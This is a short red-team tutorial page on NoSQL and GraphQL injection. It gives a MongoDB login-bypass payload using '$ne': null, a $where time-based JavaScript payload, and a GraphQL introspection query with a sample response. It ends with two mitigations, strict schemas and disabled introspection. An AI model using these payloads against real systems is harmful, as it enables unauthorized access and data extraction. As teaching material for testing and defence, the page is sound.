Ir al contenido

📕 FIELD MANUAL 9.1: NoSQL & API INJECTION (MONGODB & GRAPHQL)

Objective: We will compromise modern databases (MongoDB) and APIs (GraphQL) where SQLMap does not work. Here, we will not inject syntax, we will inject...

0views

Classification: RED TEAM EYES ONLY

Objective: We will compromise modern databases (MongoDB) and APIs (GraphQL) where SQLMap fails. Here we won't inject syntax, we will inject Logic and Objects.

MITRE ATT&CK: T1190, T1566 (Injection).

Modern apps do not use strings to query the DB; they use JSON or BSON objects.

  • Target: MEAN/MERN Stack (MongoDB, Express, Angular/React, Node).
  • Vector: Content-Type: application/json.

In SQL we use OR 1=1 (Tautology). In MongoDB, the tautology is “Not equal to Null” (or not equal to an impossible value).

Attack Payload:

POST /login HTTP/1.1
Content-Type: application/json
{
"username": "admin",
"password": { "$ne": null }
}
  • Explanation: The backend query will become: db.users.findOne({username: "admin", password: {$ne: null}}).
  • Result: Since the admin password exists (is not null), the condition will be TRUE. Access Granted without password.

TECHNIQUE B: JavaScript Execution ($where)

Sección titulada «TÉCNICA B: JavaScript Execution ($where)»

If the application uses the $where operator, we can execute arbitrary JS within the database server.

  • Payload (Blind Time-Based):

    {
    "id": { "$where": "sleep(5000)" }
    }
  • Impact: Denial of Service (DoS) or blind data extraction.

GraphQL exposes a single endpoint (/graphql). "Recon" consists of asking the API to give us its map.

We will request the complete schema to view hidden types.

Attacker Query:

{
__schema {
types {
name
fields {
name
}
}
}
}

Server Response (Vulnerable):

200 OK
"data": {
"__schema": {
"types": [
"User",
"Post",
"AuthToken",
"SecretKey" <-- [!] VULNERABILITY DETECTED
]
}
}
  • Action: Now we will know that SecretKey exists. We will be able to run queries to extract that specific field.
  • NoSQLMap: We will automate the injection in MongoDB.
  • InQL (Burp Extension): GraphQL security scanner that automatically generates attack queries based on introspection.
  • MongoDB: We will use Mongoose with strict schemas that validate that password is a String, never an Object.
  • GraphQL: We will disable Introspection in production (introspection: false in Apollo Server).